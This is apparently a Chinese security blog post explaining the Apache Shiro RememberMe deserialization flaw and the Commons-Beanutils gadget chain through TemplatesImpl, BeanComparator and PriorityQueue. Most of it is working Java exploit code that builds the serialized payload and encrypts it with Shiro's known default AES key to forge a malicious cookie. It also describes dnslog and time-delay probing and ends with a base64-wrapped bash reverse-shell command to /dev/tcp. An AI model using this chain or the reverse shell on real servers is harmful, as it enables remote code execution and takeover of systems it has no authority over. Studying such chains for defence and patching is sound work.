Apache shiro 反序列化及利用链

convertBytestoPrincipals 解密 --> 反序列化

decrypt 解密 函数需要通过key 解密

密钥值是固定的

触发反序列化流程:读取cookie -> base64解码 -> AES解密 -> 反序列化

DNS可以出网,使用dnslog进行攻击

结合Dnslog与URLDNS方法有一个前提是DNS能出网。那么在不出网的情况下就需要找一个替代的方案了。结合SQL盲注的思路,可以考虑执行如下代码结合时间延迟进行判断,若系统是linux系统,则睡眠10s同理,可以考虑结合触发Java异常进判断,若系统返回对应的报错系统,或者返回通用的报错提示,说明当前的key和gadget组合是成功的:结合CookieRememberMeManaer

shiro提供了记住我(RememberMe)的功能,关闭了浏览器下次再打开时还是能保存身份信息,使得无需再登录即可访问。

无赖调用链:

Commons-Beanutils 提供PropertyUtils getProperty 方法 使用者可以调用任意javabean对象里的getter方法。

public class Person {

    private String name;
    private int age;

    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
    public int getAge(){
        return age;
    }
    public void setAge(int age){
        this.age = age;
    }
}

getter方法的利用链流程

PropertyUtils类的 getProperty()方法 --> 调用另一个反射对象的getProperty()方法 --> PropertyUtilsBean类的getProperty()方法 --> 又调用了一个getNestedProperty()方法 -->

getSimpleProperty 方法 --> getReadMethod实现

CC3链:

TemplatesImpl类里调用getOutputProperties()方法 这个方法调用了newTransformer(),他这个格式是符合JavaBean的格式,如果我们对一个TemplatesImpl对象调用这个getOutputProperties()方法,实际上也可以进行代码执行。这就找到了一个在CB下面的代码执行点,当o1是一个TemplatesImpl对 象,而property的值为outputProperties时,将会自动调用getter,也就是TemplatesImpl#getOutputProperties()方法,触发代码执行

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.PropertyUtils;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class BeanTest {
    public static void main(String[] args) throws Exception{
        Person person = new Person("Le1a",20);
        //System.out.println(PropertyUtils.getProperty(person,"age"));
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field nameFiled = tc.getDeclaredField("_name");
        nameFiled.setAccessible(true);
        nameFiled.set(templates,"aaaa");
        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);

        Field tfactoryField = tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

        byte[] code = Files.readAllBytes(Paths.get("D:\\Cc\\IntelliJ IDEA2021.1\\Code\\out\\production\\Code\\ClassLoader\\Hacker.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);
        
        PropertyUtils.getProperty(templates,"outputProperties");
    }
}

以上当getProperty 的属性可控时就可以任意代码执行,通过找上层看谁调用getProperty方法尝试控制属性值

利用链:

getProperty()的上层,找到了BeanComparator# compare() -> compare()调用了这个getProperty(),这里是可控的 -> PriorityQueue#siftDownUsingComparator 调用了getProperty() ->PriorityQueue#siftDown() 调用了siftDownUsingComparator() ->heapify()调用了 siftDown() ->最后PriorityQueue#readObject()又调用了heapify(),并且对queue数组进行循环反序列化

问题:

Shiro中,它的commons-beanutils虽然包含了一部分commons-collections的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于 commons-collections,但反序列化利用的时候需要依赖于commons-collections。

既然此时没有 ComparableComparator ,我们需要找到一个类来替换,它满足下面这几个条件:

实现 java.util.Comparator 接口

实现 java.io.Serializable 接口

Java、shiro或commons-beanutils自带,且兼容性强

找到一个CaseInsensitiveComparator,这个CaseInsensitiveComparator类java.lang.String类下的一个内部私有类,其实现了Comparator和Serializable,且位于Java的核心代码中.

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.PriorityQueue;


public class CBAttck {
    public static void main(String[] args) throws Exception{
        byte[] code = Files.readAllBytes(Paths.get("D:\\Cc\\IntelliJ IDEA 2021.1\\Code\\out\\production\\Code\\ClassLoader\\Hacker.class"));
        byte[][] codes = {code};//恶意类
        //CC3
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes",codes);
        setFieldValue(obj, "_name", "aaaa");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        //CB
        BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add("1");
        queue.add("1");
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        byte[] payload= barr.toByteArray();
        AesCipherService aes = new AesCipherService();
        byte [] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource finalpayload = aes.encrypt(payload,key);
        System.out.println(finalpayload.toString());
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

bash -c {echo,Base64编码}|{base64,-d}|{bash,-i}//Base64编码为bash -i >& /dev/tcp/IP/端口 0>&1 的base64编码
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值